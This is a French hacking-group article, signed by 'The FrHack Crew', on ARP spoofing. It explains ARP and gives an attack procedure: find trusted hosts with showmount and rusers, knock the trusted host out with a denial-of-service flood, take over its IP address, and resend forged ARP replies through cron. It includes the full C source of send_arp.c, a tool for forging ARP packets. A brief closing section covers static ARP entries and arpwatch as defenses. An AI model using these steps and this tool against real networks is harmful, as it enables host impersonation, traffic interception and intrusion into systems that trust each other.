Spoofing ARP

Le spoofing ARP est un type de spoofing très simple à mettre en oeuvre. Sa puissance vient du 
fait qu'il permettra d'obtenir une connection TCP active (blind spoofing). Il repose sur la couche 2 du modèe OSI (liaison).
Sa faiblesse est qu'il ne peut s'appliquer qu'à des réseaux locaux du fait même du protocole 
ARP. Dans cette article je vais expliquer comment réaliser un spoof grâce à ARP et aussi les moyen pour lutter contre ce type d'attaque.

I/ Quelques notion essentiels 
Avant de rentrer dans le vif du sujet il faut comprendre comment fonctionne le protocole ARP. 
ARP veut dire Address Resolution Protocol. Ce protocole sert à faire la correspondance entre l'adresse IP d'une interface et son adresse physique(MAC). Le dialogue entre deux machine d'un réseaux local ressemble à peu près à ce qui est décrit ci-dessous:
  A(123.124.125.126) veut se connecter au serveur B(123.124.125.99)
  A envoie une requete ARP à destination de tous les hôtes du réseau pour obtenir l'adresse 
MAC de B.
    La requete est du type: Est ce que celui qui à telle adresse IP(123.124.125.99) peut 
m'envoyer son adresse MAC ?
  B voit qu'il est directement concerné et il envoi une reponse ARP à A du type: Mon adresse 
MAC est AA:12:CB:35:EF:54

Voila, maintenant vous savez à peu près comment sa marche. Si vous voulez en savoir plus 
achetez la bible d'Internet.

II/ Passons au chose sérieuses
Pour pouvoir réaliser un spoof ARP il faut avoir un accès root. La manipulation est très simple.
 Il faut tout d'abord déterminer quels machines ont une relation de confiance, par exemple
 une machine peut exporter son home directorie à uneautre machine (showmount -e <IP de la machine>), ou autoriser les connection au moyen des R- commandes(rusers -al).
Une fois les machines trouvés, on sait pour qui on doit se faire passer.
Exemple: On est sur la machine C et on a découvert que B fait confiance à A, il faut donc se 
faire passer pour A.

Première chose à faire mettre en vrac la machine de confiance(A):
        Il faut lancer une attaque par refus de service, du type flood, syn_flood, land.c,...
        Cette étape n'est pas vraiment nécessaire mais c'est mieux.
Deuxième chose à faire configurer son PC:
        ifconfig eth0 <adresse IP de la machine à spoofer(A)>
Troisièmement il faut désactiver ARP:
        ifconfig -arp   
Quatrièmement il faut envoyer une fausse réponse ARP à la machine à spoofer(B):
        Pour ce faire nous utiliserons un programme donné ci-dessous

Voila, à partir de ce moment B sera convaincu qu'il communique avec A.

Le problème est que les cache ARP s'efface assez rapidement, à peu près toutes les 30 
secondes. Il faudra donc envoyer une réponse ARP toutes les 25 secondes. On pourra faire ça automatiquement en utilisant les crontabs.


/* send_arp.c
This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user.  It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET.The idea behind this program is a proof of a concept, nothing more.  It comes as is, no warranty.  However, you're allowed to use it under one condition: you must use your brain simultaneously.  If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 volobuev@t1.chem.umn.edu */

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\tusage: send_arp 
src_ip_addr 
src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv)
{
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
        perror("socket");
        exit(1);
        }

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}


void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
                bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
                fprintf(stderr,"send_arp: unknown host %s\n",str);
                exit(1);
                }
        }
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
        }
}


III/ Comment se protéger du spoof ARP
Il existe une méthode très simple pour pouvoir se prémunir du spoofing ARP, il suffit 
d'enregistrer de manière statique les adresse MAC des cartes réseaux. Une autre méthode pour se prémunir, essentiellement si l'on se trouve dans un réseau hétérogène est d'utiliser le programme ARPWATCH. Cette utilitaire vous informe par email dès qu'une adresse IP change
d'adresse MAC. On peut télécharger ARPWATCH à http://ftp.su.se/pub/security/tools/audit/arpwatch/arpwatch-1.7.tar.gz

P.S: Il se peut que ca ne marche pas sur tout les ordis. #include <linux/in.h en est la cause, 
si il y as une erreur en compilant, écrivez ceci à la place : // #include  <linux/in.h>

The FrHack Crew
Buble